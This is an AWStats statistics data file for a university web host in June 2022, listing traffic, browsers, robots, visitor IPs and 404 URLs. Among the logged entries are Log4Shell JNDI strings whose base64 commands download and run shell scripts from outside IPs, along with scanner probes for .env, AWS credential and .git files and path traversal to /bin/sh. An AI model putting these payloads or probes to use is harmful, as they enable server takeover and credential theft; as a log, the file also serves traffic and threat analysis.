AWSTATS DATA FILE 7.8 (build 20200416)
# If you remove this file, all statistics for date 202206 will be lost/reset.
# Last config file used to build this data file was /home/campusmayadinedu/tmp/awstats/ssl/awstats.a2z-english.campus.mayadin.edu.sa.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2042                
POS_TIME 2720                
POS_VISITOR 13908               
POS_DAY 24171               
POS_DOMAIN 3460                
POS_LOGIN 3932                
POS_ROBOT 4087                
POS_WORMS 4669                
POS_EMAILSENDER 4800                
POS_EMAILRECEIVER 4943                
POS_SESSION 24938               
POS_SIDER 25129               
POS_FILETYPES 5078                
POS_DOWNLOADS 5162                
POS_OS 5210                
POS_BROWSER 5520                
POS_SCREENSIZE 6945                
POS_UNKNOWNREFERER 7019                
POS_UNKNOWNREFERERBROWSER 8343                
POS_ORIGIN 9382                
POS_SEREFERRALS 9518                
POS_PAGEREFS 9691                
POS_SEARCHWORDS 9862                
POS_KEYWORDS 10014               
POS_MISC 2384                
POS_ERRORS 10073               
POS_CLUSTER 3788                
POS_SIDER_404 10171               
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20220701001127 19 2892 11226393963407
FirstTime 20220601013728
LastTime 20220630172228
LastUpdate 20220701140618 19 0 17 1 0
TotalVisits 540                 
TotalUnique 269                 
MonthHostsKnown 0                   
MonthHostsUnknown 269                 
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
JavascriptDisabled 0 0 0
WindowsMediaPlayerSupport 0 0 0
JavaEnabled 0 0 0
QuickTimeSupport 0 0 0
FlashSupport 0 0 0
RealPlayerSupport 0 0 0
DirectorSupport 0 0 0
AddToFavourites 0 0 0
TotalMisc 0 0 0
PDFSupport 0 0 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 20 20 11837 25 34 1288
1 21 21 13083 108 141 3115
2 19 19 11837 29 32 4382
3 18 18 11214 78 88 5950
4 63 63 39249 58 67 5628
5 10 10 6230 20 20 4984
6 29 29 18067 58 62 3115
7 51 51 31773 48 54 5306
8 20 20 12460 28 36 7497
9 12 12 7476 26 29 5929
10 24 24 14952 41 46 2492
11 15 15 9345 32 35 4683
12 17 17 10591 72 74 4361
13 25 25 15575 39 42 8099
14 20 20 12460 54 55 3115
15 19 19 11837 56 58 9366
16 23 23 14329 42 45 4984
17 22 22 13706 23 30 7497
18 21 21 13083 25 29 5607
19 20 20 12460 25 27 4361
20 28 28 17444 20 22 3115
21 19 19 11837 54 56 7819
22 24 24 14952 34 42 4984
23 22 22 13083 33 39 4361
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 20
us 279 279 172571
ru 96 96 59808
ca 48 48 29904
fr 29 29 18067
gb 29 29 18067
cn 24 24 14952
in 14 14 8722
nl 11 11 6853
ua 6 6 3738
gr 5 5 3115
ao 4 4 2492
mn 4 4 2492
dk 3 3 1869
jp 3 3 1869
at 2 2 1246
de 1 1 623
br 1 1 623
au 1 1 623
is 1 1 623
cl 1 1 623
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 12
no_user_agent 145 88466 20220630161045 0
(firefox/)([0-9]\.|[0-1][0]\.) 15 9345 20220630122825 0
survey 7 4361 20220605215713 0
curl 5 3115 20220618180547 0
Baiduspider/ 4 2492 20220630093656 0
libwww\-perl 3 1869 20220630045633 0
Go\-http\-client/ 3 1869 20220607045135 0
Dalvik/ 1 623 20220617105749 0
ng/1\. 1 623 20220615162632 0
Konqueror/ 1 623 20220623135229 0
msnbot\-media/ 1 623 20220616224123 0
Apache\-HttpClient/ 1 623 20220617084412 0
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 1
html 562 348880 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 0
END_DOWNLOADS

# OS ID - Hits
BEGIN_OS ID - Hits - Pages 18
androidnougat 1 1
androidoreo 12 12
macosx 1 1
macosx11 11 11
android 1 1
win8 4 4
androidpie 1 1
macosx15 6 6
linuxubuntu 3 3
ios_iphone 2 2
winunknown 1 1
linux 32 32
macosx12 5 5
win7 7 7
winxp 5 5
win10 284 284
macosx14 1 1
Unknown 185 185
END_OS

# Browser ID - Hits - Pages
BEGIN_BROWSER 65
safari 1 1
chrome76.0.3809.100 1 1
chrome98.0.4758.132 1 1
chrome27.0.1453.93 1 1
chrome86.0.4 1 1
epiphany 1 1
chrome63.0.3239.132 1 1
chrome55.0.2883.87 1 1
chrome101.0.4951.54 3 3
chrome41.0.2224.3 1 1
chrome76.0.3809.132 1 1
safari12.1 1 1
mozilla 43 43
chrome80.0.3987.106 1 1
firefox101.0 2 2
chrome68.0.3440.91 1 1
chrome51.0.3052.60 1 1
chrome95.0.4638.69 10 10
chrome61.0.3163.128 6 6
chrome41.0.2228.0 3 3
chrome54.0.2840.98 5 5
msie5.0 1 1
chrome55.0.3028.102 1 1
chrome96.0.4664.110 3 3
safari13.0.3 1 1
chrome69.0.3497.100 1 1
firefox83.0 6 6
chrome87.0.4472.114 1 1
chrome92.0.4515.159 6 6
chrome76.0.3809.89 2 2
firefox79.0 1 1
firefox76.0 1 1
netscape5.0 42 42
opera9.61 1 1
firefox65.0 2 2
chrome66.0.3359.139 1 1
chrome91.0.4472.77 1 1
firefox100.0 1 1
chrome98.0.4758.102 14 14
chrome99.0.4844.51 1 1
chrome66.0.3359.117 2 2
chrome70.0.3538.77 5 5
chrome60.0.3011.93 1 1
firefox47.0 8 8
chrome44.0.2403.157 2 2
chrome45.0.2454.101 7 7
Unknown 100 100
firefox78.0 30 30
chrome100.0.4896.58 1 1
chrome47.0.2526.106 1 1
chrome78.0.3904.108 87 87
firefox73.0 2 2
firefox58.0 2 2
chrome74.0.3729.169 5 5
chrome88.0.4324.190 4 4
chrome83.0.4103.116 3 3
chrome60.0.3112.90 4 4
chrome50.0.2661.102 2 2
chrome73.0.3683.86 1 1
safari2.0.4 1 1
chrome74.0.3729.131 3 3
chrome60.0.3112.113 113 113
chrome83.0.4103.61 2 2
chrome94.0.4606.61 1 1
chrome49.0.2623.112 2 2
END_BROWSER

# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE

# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 16
python-requests/2.28.0 20220630074812
https://gdnplus.com:Gather_Analyze_Provide. 20220625171932
l9tcpid/v1.1.0 20220621161157
NetSystemsResearch_studies_the_availability_of_various_services_across_the_internet._Our_website_is_netsystemsresearch.com 20220629213803
'Mozilla/5.0_project_patchwatch' 20220619185948
Mozilla/5.0 20220613061859
Expanse,_a_Palo_Alto_Networks_company,_searches_across_the_global_IPv4_space_multiple_times_per_day_to_identify_customers&#39;_presences_on_the_Internet._If_you_would_like_to_be_excluded_from_our_scans,_please_send_IP_addresses/domains_to:_scaninfo@paloaltonetworks.com 20220628135702
HTTP_Banner_Detection_(https://security.ipip.net) 20220625020319
Mozilla/5.0_(compatible;_CensysInspect/1.1;__https://about.censys.io/) 20220630161046
l9explore/1.3.0 20220621161227
Cisco/SPA303-7.4.8a 20220623122353
python-requests/2.27.1 20220610065859
python-requests/2.26.0 20220627060933
like_Gecko)_Chrome/55.0.2883.87_UBrowser/6.2.4094.1_Safari/537.36\ 20220626221222
${jndi:ldap://164.92.110.133:443/Basic/Command/Base64/d2dldCAtbmMgaHR0cDovLzEzLjg5LjQ4LjExOC9hLnNoIC1xIC1QIC90bXAvOyBjaG1vZCA3NzcgL3RtcC9hLnNoOyAvdG1wL2Euc2g7IHJtIC1yZiAvdG1wLyouc2g=} 20220621052909
Mozilla/5.0_zgrab/0.x 20220630044347
END_UNKNOWNREFERER

# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 11
NetSystemsResearch_studies_the_availability_of_various_services_across_the_internet._Our_website_is_netsystemsresearch.com 20220629213803
python-requests/2.26.0 20220627060933
l9tcpid/v1.1.0 20220621161157
python-requests/2.27.1 20220610065859
l9explore/1.3.0 20220621161227
https://gdnplus.com:Gather_Analyze_Provide. 20220625171932
Cisco/SPA303-7.4.8a 20220623122353
python-requests/2.28.0 20220630074812
${jndi:ldap://164.92.110.133:443/Basic/Command/Base64/d2dldCAtbmMgaHR0cDovLzEzLjg5LjQ4LjExOC9hLnNoIC1xIC1QIC90bXAvOyBjaG1vZCA3NzcgL3RtcC9hLnNoOyAvdG1wL2Euc2g7IHJtIC1yZiAvdG1wLyouc2g=} 20220621052909
HTTP_Banner_Detection_(https://security.ipip.net) 20220625020319
Expanse,_a_Palo_Alto_Networks_company,_searches_across_the_global_IPv4_space_multiple_times_per_day_to_identify_customers&#39;_presences_on_the_Internet._If_you_would_like_to_be_excluded_from_our_scans,_please_send_IP_addresses/domains_to:_scaninfo@paloaltonetworks.com 20220628135702
END_UNKNOWNREFERERBROWSER

# Origin - Pages - Hits 
BEGIN_ORIGIN 6
From0 549 549
From1 0 0
From2 12 12
From3 1 1
From4 0 0
From5 0 0
END_ORIGIN

# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 2
www_google_com 6 6
baidu 6 6
END_SEREFERRALS

# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 1
http://gdlp.com.br 1 1
END_PAGEREFS

# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 0
END_SEARCHWORDS

# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 0
END_KEYWORDS

# Errors - Hits - Bandwidth
BEGIN_ERRORS 2
404 912 0
421 23 7406
END_ERRORS

# URL with 404 errors - Hits - Last URL referrer
BEGIN_SIDER_404 149
/dev/.env 1 -
/owa/auth.owa 8 -
/cgi-bin/welcome 2 -
/robots.txt 27 -
/_profiler/phpinfo 7 -
/autodiscover/autodiscover.json 3 -
/v2/_catalog 2 -
/CommPilot/Login/ 1 -
/remote/login 2 -
/spog/welcome 2 -
/remote/fgt_lang 4 -
/login.action 4 -
/admin/.env 1 -
/flu/403.html 5 -
/system_api.php 5 -
/jenkins/login 3 -
/local/.env 7 -
/actuator/env 3 -
/cgi-bin/../../../../bin/sh 9 -
/nmaplowercheck1655154672 1 -
/.env.php 1 -
/streaming/clients_live.php 5 -
/Autodiscover/Autodiscover.xml 13 -
/version 1 -
/application/.env 1 -
/api/v1 1 -
//sitemap.xml 1 -
/.git/config 16 -
/.git/HEAD 1 -
/.env.stage 6 -
default.asp 2 -
/yVQ< 1 -
/showLogin.cc 3 -
/FWd[ 1 -
/home/.env 1 -
//login_sid.lua 1 -
/cgi-bin/ 33 -
/ReportServer 5 -
/owa/auth/logon.aspx 59 -
/config.json 3 -
/Public/home/js/check.js 1 -
/update/v32/default 1 -
/stag/.env 6 -
/core/.env 13 -
/sitemap.xml 17 -
/icons/apache_pb2.gif 2 -
/config.js 1 -
/portal/ 1 -
/core/app/.env 6 -
/manager/html 3 -
/ajax 2 -
/SAAS/auth/login 1 -
/backend/.env 1 -
/debug/default/view 1 -
/production/.env 1 -
/icons/sphere1.png 2 -
/git/.env 1 -
/sites/all/libraries/mailchimp/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 -
/.env.local 6 -
/.env.bak 6 -
/app/.env 7 -
/owa/auth/x.js 30 -
/public/.env 6 -
/api/geojson 2 -
/.env.prod 1 -
/rest/applinks/1.0/manifest 2 -
/phpmyadmin/index.php 1 -
/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application 32 -
/config/.env 1 -
///ext-js/app/common/zyFunction.js 2 -
/s/dnc/_/ 1 -
/auth/login/ 1 -
/frontend_dev.php/$ 2 -
//a2billing/customer/templates/default/footer.tpl 2 -
/FD873AC4-CF86-4FED-84EC-4BD59C6F17A7 3 -
/dqgqoeCXckuwPtxov 4 -
/script 3 -
/mifs/. 21 https://194.163.136.149:443
/index.php 27 -
/laravel/.env 1 -
/auth/login.html 1 -
/phpinfo.php 7 -
///remote/fgt_lang 3 -
/login/ 1 -
/admin//config.php 3 -
/member/.env 1 -
/phpinfo 7 -
/HNAP1 1 -
/.env.backup 6 -
/:443:undefined 1 t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//200.150.202.54:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IHdnZXQgaHR0cDovLzIwMC4xNTAuMjA1LjY1LzhVc0Euc2g7IGN1cmwgLU8gaHR0cDovLzIwMC4xNTAuMjA1LjY1LzhVc0Euc2g7IGNobW9kIDc3NyA4VXNBLnNoOyBzaCA4VXNBLnNo}')
/auth/login.html/.env 1 -
/EnOZ 1 -
/c/version.js 5 -
/stream/live.php 5 -
/stalker_portal/c/version.js 5 -
/ 64 -
/api/.env 7 -
///ext-js/app/common/zld_product_spec.js 1 -
/api/search 1 -
/info.php 11 -
/.env 70 -
/aws.yml 6 -
/wp-login.php 3 -
//.well-known/security.txt 1 -
/evox/about 1 -
/console/ 14 -
//robots.txt 1 -
/actuator/health 17 -
/Login/ 1 -
/users/sign_in 4 -
/epa/scripts/win/nsepa_setup.exe 1 -
/telescope/requests 3 -
/pCBg 1 -
/s/lkx/_/ 2 -
/config/aws.yml 6 -
/idx_config/ 2 -
/apps/.env 1 -
/data/.env 1 -
/icons/apache_pb.gif 1 -
/login_sid.lua 1 -
/.well-known/security.txt 15 -
/crm/.env 1 -
/prod/.env 1 -
/Telerik.Web.UI.WebResource.axd 2 -
/dns-query 4 -
/.env.save 6 -
/admin/ 1 -
/sssss 1 -
/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 60 -
/cgi-bin/../../../../../../../../../etc/hosts 4 -
/.json 2 -
/server-status 3 -
/solr/ 2 -
/_ignition/execute-solution 16 -
/webfig/ 2 -
/.DS_Store 6 -
/sdk 1 -
/cookieconv.php 1 -
/resolve 4 -
/owa/ 2 -
/query 4 -
/.aws/credentials 10 -
/login 8 -
/conf/.env 1 -
/portal/info.jsp 2 -
/HNAP1/ 1 https://194.163.136.149/
/web/.env 1 -
/staging/.env 6 -
/actuator/gateway/routes 2 -
END_SIDER_404

# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit]
# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished
# The 25 first Hits must be first (order not required for others)
BEGIN_VISITOR 269
193.106.191.48 55 55 34265 20220613144341
185.7.214.104 27 27 16821 20220630135351
130.211.54.158 14 14 8722 20220624072141
193.118.53.202 14 14 8722 20220629084843
34.140.248.32 13 13 8099 20220629074129
35.233.62.116 12 12 7476 20220629074128
128.14.134.170 11 11 6853 20220629034058
34.76.158.233 9 9 5607 20220630074812
35.195.93.98 9 9 5607 20220624072141
128.14.209.162 9 9 5607 20220630172228
23.251.102.74 8 8 4984 20220629151156
128.1.248.42 8 8 4984 20220628121240
193.118.53.194 7 7 4361 20220628050326
128.14.133.58 7 7 4361 20220625080020
128.14.141.34 7 7 4361 20220629224723
94.102.61.8 7 7 4361 20220627060933
103.203.57.10 6 6 3738 20220628155659
103.203.57.25 6 6 3738 20220622061918
128.1.248.26 6 6 3738 20220626235536
37.19.203.79 6 6 3738 20220617013529
167.94.138.60 5 5 3115 20220623170318
193.118.53.210 4 4 2492 20220630073829
185.180.143.79 3 3 1869 20220621231315
183.136.225.35 3 3 1869 20220627221512
185.180.143.70 3 3 1869 20220629215812
185.180.143.140 1 1 623 20220628034139
198.235.24.135 1 1 623 20220621195235
161.35.86.181 2 2 1246 20220611212810
192.241.216.63 1 1 623 20220608025405
71.6.158.166 2 2 1246 20220614030818
198.235.24.29 2 2 1246 20220616220624
106.75.78.68 1 1 623 20220622131056
172.105.161.246 1 1 623 20220615234254
198.235.24.20 1 1 623 20220624123209
205.210.31.161 1 1 623 20220615193254
198.235.24.150 1 1 623 20220604181531
164.90.144.222 2 2 1246 20220619033043
66.240.236.119 1 1 623 20220614031219
205.210.31.146 1 1 623 20220604220303
42.236.10.84 1 1 623 20220601134635
45.141.157.180 1 1 623 20220606085522
128.14.133.50 1 1 623 20220626035922
185.165.190.17 1 1 623 20220610160105
169.148.9.32 1 1 623 20220618231956
192.241.215.233 1 1 623 20220601212420
185.180.143.11 2 2 1246 20220622210651
185.142.236.41 1 1 623 20220619185322
167.94.138.117 2 2 1246 20220620193838
66.240.236.109 2 2 1246 20220621122413
174.138.61.44 2 2 1246 20220626084451
45.79.204.46 1 1 623 20220628111546
51.254.49.108 1 1 623 20220608134054
42.236.10.117 1 1 623 20220601134626
54.151.82.241 1 1 623 20220625202830
192.241.213.41 1 1 623 20220630044347
20.203.22.11 1 1 623 20220609004653
104.149.142.214 1 1 623 20220623122353
162.247.74.216 1 1 623 20220616185455
192.241.222.13 1 1 623 20220615042805
167.248.133.44 2 2 1246 20220618225331
35.84.21.202 1 1 623 20220613064638
185.107.47.215 1 1 623 20220613124630
164.92.252.11 1 1 623 20220619034922
154.209.125.55 2 2 1246 20220612202210
185.213.175.159 1 1 623 20220609065108
209.141.36.112 1 1 623 20220629232711
185.180.143.135 1 1 623 20220609103138
205.210.31.137 1 1 623 20220608103329
71.6.232.5 1 1 623 20220620200425
198.235.24.132 1 1 623 20220613165110
209.141.41.193 1 1 623 20220606003322
164.52.24.190 1 1 623 20220613231721
180.149.125.164 1 1 623 20220609135035
45.83.64.218 1 1 623 20220608135922
157.245.131.36 1 1 623 20220604022358
109.70.100.92 1 1 623 20220610221351
192.241.222.228 1 1 623 20220623043942
107.173.180.231 1 1 623 20220618155605
167.94.146.58 1 1 623 20220614123722
167.94.138.63 2 2 1246 20220630161046
205.210.31.129 1 1 623 20220619131510
162.142.125.8 1 1 623 20220619182552
221.130.37.141 1 1 623 20220625042156
192.241.205.140 1 1 623 20220617042914
192.241.215.42 1 1 623 20220625044000
198.235.24.8 1 1 623 20220615152722
8.210.231.124 1 1 623 20220603220013
205.210.31.145 1 1 623 20220620000637
198.235.24.129 1 1 623 20220612041926
64.227.43.117 1 1 623 20220620120054
192.241.221.160 1 1 623 20220618043015
180.149.125.170 1 1 623 20220614204612
103.153.254.110 1 1 623 20220630003717
192.241.223.47 1 1 623 20220616042910
20.113.27.135 1 1 623 20220629181010
180.76.248.121 2 2 1246 20220610014132
205.210.31.12 1 1 623 20220624004614
205.210.31.35 1 1 623 20220601170147
66.240.192.82 2 2 1246 20220619185948
159.223.236.148 1 1 623 20220629222251
185.142.236.43 1 1 623 20220630000652
161.35.188.242 2 2 1246 20220621161227
192.241.206.155 1 1 623 20220627044157
185.180.143.18 1 1 623 20220613231635
192.241.220.81 1 1 623 20220604042141
43.134.171.185 2 2 1246 20220628043639
192.241.212.203 1 1 623 20220622043741
64.227.165.172 1 1 623 20220609234736
162.142.125.9 1 1 623 20220616145129
192.241.220.23 1 1 623 20220610042540
167.94.146.59 1 1 623 20220602021422
167.248.133.60 2 2 1246 20220629205937
198.235.24.9 1 1 623 20220608064658
154.6.130.144 1 1 0 20220605000448
167.248.133.118 1 1 623 20220626111729
162.142.125.219 2 2 1246 20220623205431
142.93.123.215 1 1 623 20220622114131
101.36.107.222 1 1 623 20220617073819
92.118.161.29 1 1 623 20220617212355
154.209.125.56 1 1 623 20220615192541
198.235.24.28 1 1 623 20220610064010
117.33.168.200 1 1 623 20220602151119
34.207.101.107 1 1 623 20220602003711
104.140.188.18 1 1 623 20220608005756
162.142.125.210 2 2 1246 20220625065909
34.219.208.243 1 1 623 20220628080945
180.149.125.169 1 1 623 20220628163814
185.220.100.253 1 1 623 20220625005034
185.180.143.81 1 1 623 20220625132757
118.123.105.85 1 1 623 20220601111909
192.241.219.117 1 1 623 20220614042707
205.210.31.150 3 3 1869 20220627062641
54.226.108.113 1 1 623 20220613035250
185.180.143.7 1 1 623 20220607163531
45.33.96.205 1 1 623 20220624163119
205.210.31.135 1 1 623 20220620090242
185.180.143.6 1 1 623 20220607123058
170.130.187.34 1 1 623 20220625171932
92.118.160.13 1 1 623 20220621035651
92.118.160.17 1 1 623 20220601144310
205.210.31.148 1 1 623 20220605041739
185.180.143.136 2 2 1246 20220609084924
142.93.230.248 1 1 623 20220609073328
205.210.31.13 1 1 623 20220601102319
82.221.131.5 1 1 623 20220610221854
205.210.31.26 1 1 623 20220604200045
192.241.216.16 1 1 623 20220605042043
192.241.221.22 1 1 623 20220620043739
193.118.55.170 1 1 623 20220604201035
192.241.209.73 1 1 623 20220607042304
185.220.100.247 1 1 623 20220602064250
165.22.85.5 1 1 623 20220609131526
192.241.212.102 1 1 623 20220609042321
205.210.31.128 2 2 1246 20220601141046
159.223.35.44 3 3 1869 20220619113744
45.83.64.166 1 1 623 20220622181622
192.241.221.126 1 1 623 20220621043828
139.59.17.235 1 1 623 20220626220421
167.94.145.60 1 1 623 20220612224453
162.142.125.211 1 1 623 20220606204329
193.106.191.95 1 1 623 20220613170254
192.241.219.103 1 1 623 20220612042556
198.235.24.5 1 1 623 20220601153027
198.235.24.130 3 3 1869 20220614035802
223.71.167.163 1 1 623 20220609102346
20.90.86.187 1 1 623 20220601200132
92.118.161.17 1 1 623 20220603185615
167.248.133.47 1 1 623 20220627191400
93.177.73.106 2 2 1246 20220625162650
198.235.24.140 2 2 1246 20220625185106
185.180.143.72 1 1 623 20220624141548
44.233.155.250 1 1 623 20220627045604
192.241.212.65 1 1 623 20220611042558
128.14.134.134 3 3 1869 20220623074854
185.220.102.4 1 1 623 20220628122045
162.142.125.7 1 1 623 20220603131236
192.241.205.169 1 1 623 20220624043858
136.144.41.171 1 1 623 20220611212924
139.177.198.64 2 2 1246 20220604224335
162.221.192.26 3 3 1869 20220620155734
167.94.146.57 1 1 623 20220626085228
167.99.180.215 1 1 623 20220602095311
172.104.10.231 1 1 623 20220623224150
192.241.214.228 1 1 623 20220606042220
154.197.26.10 1 1 623 20220605201851
192.241.221.112 2 2 1246 20220628044252
61.147.15.76 1 1 623 20220617105820
80.82.77.139 1 1 623 20220605230103
198.235.24.153 1 1 623 20220628135702
27.115.124.101 2 2 1246 20220615135238
192.241.222.47 1 1 623 20220608042400
205.210.31.24 1 1 623 20220611142852
188.166.87.67 2 2 1246 20220618114653
143.198.102.94 1 1 623 20220622221137
162.142.125.212 1 1 623 20220629171351
167.248.133.46 3 3 1869 20220622021634
104.140.188.14 1 1 623 20220615171713
167.94.145.59 2 2 1246 20220626042624
205.210.31.14 1 1 623 20220608162247
167.248.133.61 3 3 1869 20220626184836
143.244.144.112 1 1 623 20220619202802
185.142.236.34 2 2 1246 20220616061049
34.78.6.216 3 3 1869 20220616070025
45.95.147.29 1 1 623 20220630005244
185.163.109.66 1 1 623 20220622111209
143.198.1.5 1 1 623 20220617102956
198.235.24.14 1 1 623 20220612043545
205.210.31.6 1 1 623 20220611160236
43.128.201.239 1 1 623 20220607204614
162.142.125.221 1 1 623 20220629204909
205.185.122.184 1 1 623 20220606003325
121.46.25.189 1 1 623 20220626221222
92.118.161.33 1 1 623 20220629213803
66.240.236.116 2 2 1246 20220614093438
101.68.211.3 2 2 1246 20220617235322
195.206.105.217 1 1 623 20220604233812
205.210.31.153 1 1 623 20220625055006
192.53.170.243 2 2 1246 20220623165219
50.31.21.7 1 1 0 20220613231113
92.204.145.66 1 1 623 20220627174155
61.147.15.67 1 1 623 20220617105654
66.240.192.138 1 1 623 20220604002119
167.94.145.58 1 1 623 20220630151623
167.94.138.61 1 1 623 20220606091636
180.149.125.168 1 1 623 20220621171401
54.234.116.224 1 1 623 20220622205519
172.105.19.248 1 1 623 20220623162919
205.210.31.158 1 1 623 20220620193625
191.217.133.197 1 1 623 20220624231835
178.32.197.82 1 1 623 20220608110741
181.214.218.69 1 1 623 20220623193217
205.210.31.33 1 1 623 20220618134745
192.241.221.53 1 1 623 20220626044047
93.177.73.194 2 2 1246 20220620160934
93.177.73.226 2 2 1246 20220620102650
185.92.25.10 1 1 623 20220603041043
198.235.24.156 1 1 623 20220610161659
205.210.31.34 2 2 1246 20220617202016
71.6.232.8 1 1 623 20220627101214
138.197.106.232 1 1 623 20220603084955
34.65.197.10 1 1 623 20220615154812
207.180.205.205 2 2 1246 20220604122732
185.180.143.8 2 2 1246 20220614001549
205.210.31.155 1 1 623 20220617121245
193.218.118.158 1 1 623 20220622102858
170.130.187.10 1 1 623 20220610134756
54.90.74.74 1 1 623 20220622173720
13.89.48.118 2 2 1246 20220621052909
20.203.44.176 1 1 623 20220614231020
143.244.167.79 1 1 623 20220616025817
185.180.143.137 1 1 623 20220629141012
209.126.136.3 1 1 623 20220606103838
142.93.220.15 1 1 623 20220622011510
167.248.133.117 1 1 623 20220629204224
185.180.143.71 1 1 623 20220610214839
164.92.187.206 1 1 623 20220622204456
167.94.138.120 1 1 623 20220629010133
213.32.122.82 3 3 1869 20220625192925
198.235.24.27 1 1 623 20220604143924
60.217.75.69 2 2 1246 20220613061859
178.79.139.74 1 1 623 20220607045135
192.241.221.221 1 1 623 20220603041959
185.142.236.40 2 2 1246 20220619044822
20.203.43.236 1 1 623 20220622173908
192.241.203.245 1 1 623 20220629044259
71.6.199.23 1 1 623 20220620011850
51.39.227.14 1 1 623 20220623135452
27.115.124.45 2 2 1246 20220615135246
167.94.138.62 2 2 1246 20220615202036
END_VISITOR

# Date - Pages - Hits - Bandwidth - Visits
BEGIN_DAY 30
20220601 22 22 13706 22
20220602 16 16 9968 15
20220603 18 18 11214 18
20220604 27 27 16821 24
20220605 21 21 12460 20
20220606 19 19 11837 17
20220607 15 15 9345 15
20220608 24 24 14952 24
20220609 26 26 16198 25
20220610 21 21 13083 19
20220611 20 20 12460 19
20220612 20 20 12460 19
20220613 19 19 11214 18
20220614 16 16 9968 16
20220615 20 20 12460 20
20220616 16 16 9968 15
20220617 20 20 12460 18
20220618 12 12 7476 12
20220619 16 16 9968 15
20220620 16 16 9968 16
